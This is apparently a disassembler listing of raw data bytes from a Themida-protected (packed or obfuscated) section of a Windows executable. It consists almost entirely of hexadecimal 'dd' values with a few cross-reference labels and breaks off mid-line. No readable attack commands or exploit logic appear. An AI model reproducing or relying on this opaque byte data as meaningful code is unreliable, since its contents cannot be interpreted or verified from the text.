dd 2D840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 3E7D74C3h, 0DB71A45h, 21E9h, 0ADB52900h dd 50061430h, 110C30h, 0C1011144h, 443010E8h, 4C000211h dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h dd 0EBE775h, 9D89C08Bh, 6142369h, 13E9h, 7563F700h, 5B94CF0h dd 42612573h, 5E48E020h, 0C82EE016h, 0FE9h, 2C57A300h dd 8F6AD602h, 0D1B7DBA7h, 7BB96A50h, 2671BD83h, 0F030614h dd 42085h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 0E924F922h, 12h, 0ECD77548h, 7D8E0234h dd 442CC140h, 7F229248h, 0BD837525h, 617AA98h, 0DE840F00h dd 6A000003h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 2EFFC357h, 633A612Dh, 8B1244CEh dd 140F5D9Dh, 98B5FF06h, 6A0617AAh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0BA86C353h dd 0F595FFB0h, 6A06142Ah, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 5A9AC355h, 8BFEB70Fh dd 17AA8CB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 6C7F8ABh, 10001h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Ah, 3EC35242h, 0B6EE40E4h dd 0DB815532h, 4D539899h, 505B5196h, 0F965F51h, 0B5FFFBB7h dd 617AA98h, 0FFDF8B66h, 140B3195h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 1292983Dh dd 6F8EA4E5h, 0B58BB5B7h, 617AA8Ch, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 53C35646h, 5053E6F2h, 9099529h dd 0BB660614h, 858B0D07h, 61421D5h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 6DC35242h, 0C4868943h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 8B2AC352h, 14322995h, 9D316006h, 6141191h dd 168C0Fh, 11E90000h, 82000000h, 0FF655644h, 0E94A85DFh dd 0C12607D6h, 240A965Ah, 4C28361h, 10E9h, 20C2EB00h, 0DB1B960h dd 0DE9D32Eh, 79FE43D6h, 2050891Fh, 0A499509h, 858D0614h dd 617BE06h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 0EC35040h, 89E67DECh, 0B886h, 0DAB70F00h, 6A006Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 136261C3h, 7B52A837h, 0D9BF0FDFh, 0AA98B5FFh, 0EB810617h dd 5B9255C8h, 93995FFh, 0BB500614h, 7614A577h, 6A243489h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 2E0C352h, 589C2A82h, 0B98531C0h, 0FF061405h dd 17AA98B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 5116A136h, 963EDCF7h, 58F0FD6h, 0BF000000h dd 1C64D75Dh, 20F595FFh, 0E9600614h, 5, 3798C8A1h, 0C1816697h dd 8361AA35h, 140C21BDh, 840F0006h, 39h, 31F9BD8Bh, 51960614h dd 0EE8h, 940A6600h, 456B725Fh, 0D8A2EC65h, 66F427C9h dd 5FB915BBh, 0BE9505Bh, 66000000h, 7F6255C9h, 70009E65h dd 31964A3Fh, 142CB995h, 98B5FF06h, 6A0617AAh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 0C55FC355h, 5A413953h, 11E9h, 48DDC300h, 0D611EE35h dd 0C95BD03Fh, 0DB0A6730h, 95FF02C8h, 61402B1h, 2FB1BD89h dd 0BD8B0614h, 6142565h, 0AA98B5FFh, 6A0617h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 0B557A2C3h dd 66B031C5h, 86C2EF81h, 308195FFh, 6E80614h, 25000000h dd 5F47A617h, 199D8B8Fh dd 5F061402h, 9F5BD83h, 0F020614h, 3E84h, 0DD9D0300h, 8B061408h dd 142D0185h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 0EF120C2Ch, 0B0BB8E38h, 10D18529h dd 0C60614h, 0ED38100h, 0C7670602h, 14244D85h, 6, 95315300h dd 6141005h, 0F3B0E95Fh, 9D29FFFFh, 6140C89h, 6AC18Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 299CD1C3h, 8BCA593Eh, 140579BDh, 99858D06h, 6A06140Fh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 0BD22C357h, 50FA8A25h, 6A240489h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 0CD0C352h, 2B91A976h, 1424B1BDh, 6A006A06h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 2976C355h, 140575B5h, 14E806h, 0B6D20000h, 8849124Eh dd 0C3448599h, 7DBEA455h, 35693DB0h, 0CE917D5h, 5B000000h dd 0FE91A466h, 68E386BFh, 5B20CC77h, 850F006Ah, 6, 2945BD8Bh dd 858D0614h, 618DE2Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 75C35747h, 42BFDA23h, 0C268685Eh, 58DF8166h dd 658589EAh, 83061419h, 6A05C0h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 1FCE6CC3h, 53198014h dd 5690BF0Dh, 9D8B7C7Eh, 6140B09h, 0EE950h, 8600000h, 6F27BAA7h dd 0EAD87DD6h, 9ADE86C0h, 89240489h, 140CC1B5h, 6A006A06h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 6A45C353h, 8F0F00h, 0FF000000h, 141A7195h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 77B750E6h, 0FC8D8D5Fh, 6A0617A8h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 1572C351h, 0D1FFB534h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 97C35747h, 9589F558h, 61414C1h, 12CDBD83h dd 0F010614h, 0C085h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 7A1668ACh, 0A8BB6649h dd 6A026AF2h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 0B7FAC356h, 0FD8AD5D6h, 0FE990h dd 85E70000h, 95CA4382h, 243FCA0Dh, 0C5EC7629h, 13E850C2h dd 0B9000000h, 8D7FFAE7h, 1AB17CCDh, 64826CCFh, 86CADAh dd 5250FE48h, 310F5B56h, 8E9h, 0ACB84B00h, 0B2103A9Ch dd 5B585A6Dh, 12E890h, 36500000h, 1C17ABADh, 0C31FD384h dd 500F906h, 8F4E7DC4h, 0CEF38166h, 0BD8B5F3Fh, 6142B2Dh dd 93995FFh, 8B660614h, 28B0FFBh, 0B7000000h db 0D1h byte_596A09 db 0E9h, 29h, 0Eh ; DATA XREF: Themida_:0054A544o dd 0E80000h, 5D000000h, 0DE34ED81h, 6A0618h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 4E86B0C3h dd 0A51BD8Bh, 0BD8B0614h, 6141B51h, 0EE9h, 41CF2500h, 1207C290h dd 75E4E908h, 8D17DA4Bh, 17962385h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 50EB6B18h dd 13E95250h, 0F8000000h, 61E6B0E0h, 2A3F103Dh, 36AB86B7h dd 0B9886966h, 310F36C9h, 489585Ah, 56006A24h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 1F84685Ah dd 9EF21B4Ah, 0DE9h, 920A100h, 461CB915h, 19AB1FEBh, 0FF645324h dd 35h, 8AF38100h, 64400B83h, 2589h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 0FFF3C4C3h dd 14236D85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 0F16C7455h, 6AFF6AF8h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 25E1C355h, 62E381A7h, 0FF37DDDBh, 143099B5h, 57FB8B06h dd 18B0Fh, 5FFC0000h, 2B1995FFh, 2EE90614h, 53000001h dd 315BF98Bh, 140E69BDh, 2900B006h, 1425A585h, 6670E606h dd 91A6D381h, 840F71E4h, 16h, 11E9h, 37EAD900h, 0E96427F9h dd 0DD625378h, 56538C51h, 613C0F6Ah, 0EF830Fh, 0BE80000h dd 0AD000000h, 1795F45Bh, 0B222656h, 0B589D070h, 6141ADDh dd 0C8B60F5Bh, 6BAFA8Bh, 80000000h, 0C18B4DDFh, 61858B60h dd 61061411h, 8004E8C1h, 0F7667FDBh, 56C82BE2h, 1B498D29h dd 665F0614h, 0D18BFA8Bh, 11E8h, 5B2CFE00h, 3B01E315h dd 4A602DCh, 0A2F76793h, 8D296D41h, 6140791h, 87E95Fh dd 8D090000h, 6143111h, 53F78166h, 4858B1Bh, 0F000000h dd 0C083FEB7h, 6890F07h, 9000000h, 1430898Dh, 0C08306h dd 830FD03Bh, 0Dh, 52E9FA8Ah, 0B000000h, 142E419Dh, 0FF8D8B06h dd 89FFFFFFh, 1416EDB5h, 1E18306h, 37840Fh, 89560000h dd 140C71BDh, 0A5835B06h, 0FFFFFFFFh, 0B052BFFEh, 95897A18h dd 4, 13E9h, 0C7815500h, 7D4815FEh, 0FAB15CAAh, 0F93FF519h dd 47A5DFDFh, 0E9h, 0E1B58D00h, 6A06185Bh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 247CC355h dd 0D3108194h, 6ADFE46Bh, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 9F08C831h dd 0F9F3E33Fh, 0CE9h, 0D857EF00h, 0FD047864h, 5F634140h dd 69B5094Bh, 0FF06142Eh, 14116995h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0F52B911Bh dd 6CACE899h, 24499D8Bh, 0CFB90614h, 6A000010h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 0D35CC356h, 6A8EB9B7h, 0BF90FBD7h, 5F34B157h, 6AFCE183h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 0A774C350h, 4E783EE6h, 899D8B1Ch, 8006141Ch dd 6AFC9EE3h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 78CBC355h, 0E5628B55h, 56BB6634h dd 959D2BCEh, 0B8061403h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 57C35545h dd 0BA14h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0FC9A2C3h, 689h, 0E19D8900h, 0AD061423h dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0BEB4C351h dd 7D5E50Dh, 5E8h, 4F01AF00h, 0BD89533Fh, 61419D5h, 56006A5Bh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 0E80D6DD3h, 9, 0ED4EEBC7h, 6ABF724Bh, 0EE960AEh, 0C000000h dd 8B849439h, 0B77ADC93h, 56D60656h, 0C6CC8017h, 880D5B61h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 8BE8C350h, 14322995h, 0D1B50906h dd 0F061403h, 8D8BF8B7h, 614064Dh, 0C28B50FCh, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 3358188Bh, 1419D19Dh, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0BD71D075h, 1591BD8Bh, 0BF660614h, 0BD835717h, 61429ADh dd 55840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 4511C350h, 0B858A3h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 4365C350h, 798D8DD7h, 906144Dh dd 1410D58Dh, 0E3816606h, 0E1FF4E8Bh, 2671BD83h, 0F000614h dd 40F84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 47AF34Eh, 2ACF4877h, 0B5890CA7h dd 6142A15h, 350D9D8Bh, 0BD830614h, 6142671h, 0EC840F01h dd 31000003h, 1434E98Dh, 71BD8306h, 3061426h, 3A3860Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 0F8455C3h, 687h, 2D958900h, 6006140Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0B8C35747h, 0D98C66B8h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0EFC35747h dd 0E1809D1Ah, 0FE904h, 85030000h, 0EED2396h, 0D5333C20h dd 0A13F6DE5h, 0FC90ABDh, 15D84h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 4650FD94h dd 0E9196DC7h, 0Ah, 0C9ADBCE1h, 225F0422h, 858BFECAh, 6141969h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 37C35646h dd 0E9998A94h, 0Bh, 707B7D4Bh, 4B6BB8E0h, 332BD1C0h, 141B8185h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 0B8DD3344h, 90F88B66h, 6050DA8Ah, 0FE8h dd 2B390D00h, 941C479Dh, 768102D9h, 38897B94h, 665A6160h dd 615B3DBAh, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 6A0C0Dh, 8599D01h, 25680614h, 0E8B7B885h dd 14h, 0E07EF6CDh, 5CC606C6h, 88612B0Dh, 3B80E621h, 0A99C518Dh dd 61605250h, 0DD8A310Fh, 815B585Ah, 7EDA2404h, 6A4866h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 0F93FF5C3h, 47A5DFDFh, 25BD8BD4h, 0FF06142Bh, 1409AD95h dd 0D1BD8B06h, 89061412h, 17AA9885h, 16CE906h, 13E90000h dd 75000000h, 0D93880EDh, 51B6BF6Eh, 26094397h, 0E740B3A3h dd 858B870Bh, 617AA90h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 0F3C35040h, 0EB177BBh, 1800C75Bh, 89000000h dd 14053595h, 94B58B06h, 290617AAh, 1410B59Dh, 29858B06h dd 8906140Bh, 0B5BD8B06h, 8B06142Ch, 14196985h, 895FBB06h dd 0BF0F7FA0h, 44689D9h, 50FFBF0Fh, 16870Fh, 11E90000h dd 0C5000000h, 0C5085EE2h, 0EC52CBD6h, 17CA55E1h, 0EDB797E5h dd 6A243489h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 24D4C357h, 7E3653ECh, 0A5BD2920h dd 0FF06141Ch, 17AA90B5h, 5D9D3306h, 68061423h, 0DCDA5D0Fh dd 48198B3h, 44A6F024h, 6880F23h, 0F000000h, 8Dh, 98858D00h dd 6A0617AAh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 4D0CC350h, 75EB8474h, 0A5A1A5BFh dd 5660506Bh, 0BC3EBA66h, 0C0BB6659h, 48961C0h, 56006A24h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 221B9A3Ch, 55A9126Eh, 9D89DAC2h, 6142F9Dh, 0BE9h, 2ACB0E00h dd 0D015B6CBh, 77219BD1h, 9AD95FFh, 89510614h, 14199DB5h dd 6A615B06h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 66ABC351h, 0C7B7D9BFh, 14267185h dd 306h, 6EE78100h, 832AB7F3h, 17AA98BDh, 840F0006h, 2Dh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0AFC35242h dd 0BF66521Dh, 21E944F2h, 0B000000h, 141621BDh, 0C305006h dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 0DE9h dd 37DD8000h, 78162642h, 0E66C73F6h, 6A6625h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0C63CA5C3h dd 83FEBF0Fh, 142671BDh, 850F0306h, 403h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Bh, 17C35141h, 71A287C4h dd 66E44BFFh, 895721BBh, 140639B5h, 98BD8306h, 617AAh dd 3C9840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 18ED7C3h, 141B6D85h, 98B5FF06h dd 0F50617AAh, 10E9BD8Bh, 95FF0614h, 6142AF5h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0EAC35343h, 83B9BF52h dd 8B5F3B8Eh, 17AA8CB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 44E8610Bh, 8B60BB84h dd 1421E5BDh, 6CB96606h, 6C761CFh, 10001h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0D0C35343h, 74392C44h dd 0E7C47750h, 0D4DBD01h, 0E9500614h, 0Bh, 0EDDBB575h dd 0E301FB96h, 89BB82CDh, 0BF662434h, 0B5FF387Ah, 617AA98h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 67C35242h dd 90E018BDh, 0E9D3816Bh, 0FF72A5DCh, 140B3195h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 961EA16Eh, 9DF891F6h, 8D0FA306h, 6, 30C59D03h, 0B58B0614h dd 617AA8Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 97C35242h, 0E9ECF231h, 8, 97990A3Dh, 0ED9450FBh dd 6799D29h, 858B0614h, 61421D5h, 1C259589h, 86890614h dd 0C4h, 8699D8Bh, 958B0614h dd 6143229h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 65C35040h, 99D89CAh, 83061411h, 6A04C2h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 0F99904C3h, 0AE8h, 553DC400h, 0DAB13CBEh, 8BAC4C15h dd 50895FFBh, 51006A20h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 0F8FD2CC8h, 97572F9h, 0BE06858Dh dd 66500617h, 895BDE8Bh, 0B886h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 6BA4707Fh dd 9447E507h, 0BF0F039Ah, 0F006ADEh, 0B5FFFEB7h, 617AA98h dd 0F1BD0Bh, 0FFFC0614h, 14093995h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0FFB70FCDh dd 79BB6696h, 0F9650C9h, 0B5FFFEBFh, 617AA98h, 29BD8956h dd 5F061405h, 20F595FFh, 6A0614h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 6BE337C3h, 6499D2Bh dd 0BD830614h, 6140C21h, 23840F00h, 80000000h, 669679C7h dd 50D4B6BFh, 11E9h, 20B53800h, 0A71F97DDh, 91E5C1ABh dd 7178274Dh, 0F96EBD5h, 0B5FFDAB7h, 617AA98h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0C1C35646h, 94EF7E9Fh dd 0CE8630A2h, 68C0F91h, 9000000h, 141475B5h, 0B195FF06h dd 6A061402h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 0ABDC355h, 98B5FFF5h, 600617AAh dd 1B61858Bh, 8D890614h, 6140289h, 8195FF61h, 6A061430h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 0FBA7C355h, 0AEAE21C0h, 9F5BD83h, 0F020614h dd 2A84h, 4D9D8B00h, 8B06141Bh, 142D0185h, 13E806h, 0A0020000h dd 0A344E5F2h, 0FF5A9089h, 712F27FAh, 51AA1042h, 5FA3B7A3h dd 0C70000C6h, 14244D85h, 6, 0F99D8B00h, 0E9061423h, 0FFFFF329h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0DFC35343h dd 163113E4h, 880FDFE1h, 6, 58D9D89h, 8BF50614h, 79B589C1h dd 8D061403h, 140F9985h, 0CB815606h, 5104EF66h, 8B66905Bh dd 13E950D8h, 31000000h, 5DD2B47Bh, 211A2B30h, 2758540h dd 79E74E05h, 6A901DC6h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 9629C353h, 283A045Fh dd 6A006A0Dh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 610904C4h, 0FFBA0FFEh, 0DE91Ah, 5EC60000h dd 0B2420B04h, 49E29EB7h, 8BEC5838h, 1414FDBDh, 46858D06h dd 8B0618EEh, 1413859Dh, 5C08306h, 0B17FBB66h, 5B536050h dd 89618BB3h, 81662404h, 6AC653DBh, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 9E92CC89h dd 0DB354FD7h, 0BF66FA8Bh, 8B601769h, 142F299Dh, 0BE906h dd 0FE6E0000h, 64730EFEh, 0B72BCB75h, 6A61A1h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0A8C35646h, 7195FF8Ch dd 8B06141Ah, 0FC8D8DF9h, 6A0617A8h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 11DBC355h dd 635D0B9h, 0D1FF740Bh, 14E8h, 3A6CC700h, 7F52E440h, 3CB7E095h dd 0B73D9EF8h, 6186ADF3h, 9D8B565Dh, 6142425h, 0BD835B5Bh dd 61412CDh, 7A850F01h, 0FC000000h, 6A026Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0E94120C3h dd 13h, 327CF8BAh, 0ED32BEF3h, 85D22C47h, 0ADE321CFh, 31DD1EF6h dd 140C6185h, 6E95006h, 0AC000000h, 0B1950667h, 24048951h dd 93995FFh, 6A0614h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 9B8627C3h, 945477Ch, 143521B5h dd 0E28E906h, 0E80000h, 5D000000h, 0EE50ED81h, 6A0618h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 0A0228DC3h, 2FB99589h, 840F0614h, 13h, 0EE9h, 5243CA00h dd 8543B374h, 0F9F58BD6h, 6ABE1255h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 8C17C356h dd 3F9BD8Bh, 9D290614h, 6142259h, 9623858Dh, 6A0617h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 0F6DDF9C3h, 0F7801CEh, 0E990D8B7h, 0Fh, 0EE9CA00Ch dd 0B532D61Ah, 0FA1BD232h, 50FB914Bh, 0EE8h, 11D1A600h dd 0AB51A57h, 0E9CEAE81h, 52047E32h, 0F07D4BBFh, 905F5F44h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 1CC35646h dd 35FF64h, 64000000h, 2589h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 8DC5B9C3h dd 65DAE12Bh, 0DB80BBCBh, 12E83Ah db 2 dup(0) word_597B4E dw 0BA32h ; DATA XREF: Themida_:00549ACCo dd 0A2BDE184h, 0C453DABFh, 51675D33h, 7B8BC36h, 68B0Fh dd 0BD230000h, 6140B95h, 6D85FF5Fh, 6A061423h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 0A477C356h, 0EDBD0950h, 0F06140Eh, 68Ah, 0C58D8900h dd 6A061404h, 0F9BF0FFFh, 2EA18589h, 0B5FF0614h, 6140669h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 4CC35646h dd 0F7CF8136h, 0FF2F26E9h, 142B1995h, 0DEE906h, 0B0F80000h dd 0F7816600h, 70E6B916h, 6810Fh, 85090000h, 61401D5h dd 0C78071E4h, 0F613CD7h, 0BB83h, 8E900h, 9F30000h, 0AEE8C76h dd 0B60F2F6Ch, 9EFCBBC8h, 42B74D7Bh, 6BAh, 4A30BF00h, 0C18B18F5h dd 8B04E8C1h, 140CF5BDh, 0E2F76606h, 85316053h, 6142F91h dd 61F18B66h, 8BC82B5Bh, 1401AD9Dh, 8BD18B06h, 6EE9F8h dd 858B0000h, 5F4C4C44h, 0C083FD8Ah, 8D958907h, 83061406h dd 0BD8900C0h, 6141705h, 0D03B62B7h, 8830Fh, 0B70F0000h dd 42E9F9h, 8D8B0000h, 0FFFFFFFFh, 0BE9h, 0D11C7200h, 0C2B28F4Fh dd 0C9EAD3E1h, 0F01E183h, 2384h, 0A583F900h, 0FFFFFFFFh dd 6870FFEh, 9000000h, 1425AD95h, 44958906h, 0FC5F4C4Ch dd 0E9FBBF0Fh, 0 dd 6CB0B58Dh, 0F98B0618h, 31006AF8h, 142185B5h, 6995FF06h dd 6A061411h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 1910C351h, 3CBF66F8h, 0FCEF81ECh dd 0B9445228h, 0FD2h, 22958D89h, 0E1830614h, 56006AFCh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0BD8BFF30h, 614348Dh, 0FC98C380h, 7919589h, 0C02B0614h dd 0BAF98B66h, 0 dd 6E9B589h, 33AD0614h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E850h dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 0A11E32C3h, 893CC5EEh, 141971B5h, 0D9BF0F06h, 0DE9h dd 8359B900h, 56A42D83h, 0B3D25A05h, 880D8061h, 66000000h dd 69C5F781h, 3229958Bh, 6A0614h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 14721EC3h, 0E1FEFB75h dd 8B7107B7h, 1423A59Dh, 21958906h, 8B06142Ch, 14064D8Dh dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 0FCEF96B9h, 0E3D9D8Bh, 8B500614h, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 7AC35040h, 0E2E81FB2h, 0F5C55923h dd 1B6D8529h, 0BD830614h, 61429ADh, 7A840F00h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 8B23C357h, 0B8DEh, 0E7810000h, 5109AFC0h dd 4D798D8Dh, 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 0EE2AE4C3h, 34EF1E78h, 2F6D9D01h dd 0E1FF0614h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 5CC35141h, 0D3A80EE5h, 71BD83F5h, 61426h, 491840Fh dd 0BD830000h, 6142671h, 9F840F01h, 6A000004h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 0B1B0C356h, 238E10E6h, 12E9h, 2F717200h, 0B1F4579Bh dd 541512E2h, 0B93B8C39h, 830123CAh, 142671BDh, 860F0306h dd 424h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 87C35040h, 2BDBCBC5h, 6049B627h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Dh, 9FC35646h, 739390B8h dd 0B662425Bh, 0D98C66DEh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 56C35747h, 661323FCh, 805F53BBh, 9D8B04E1h dd 61429F9h, 840FC90Ah, 122h, 1BE9BD0Bh, 858B0614h, 6141969h dd 5E9h, 656E5F00h, 85330F07h, 6141B81h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Bh, 8AC35040h, 0A0DB22D6h dd 894BD4D5h, 1401D5BDh, 5F515006h, 6A240489h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 0E94FC350h, 0D98B28E1h, 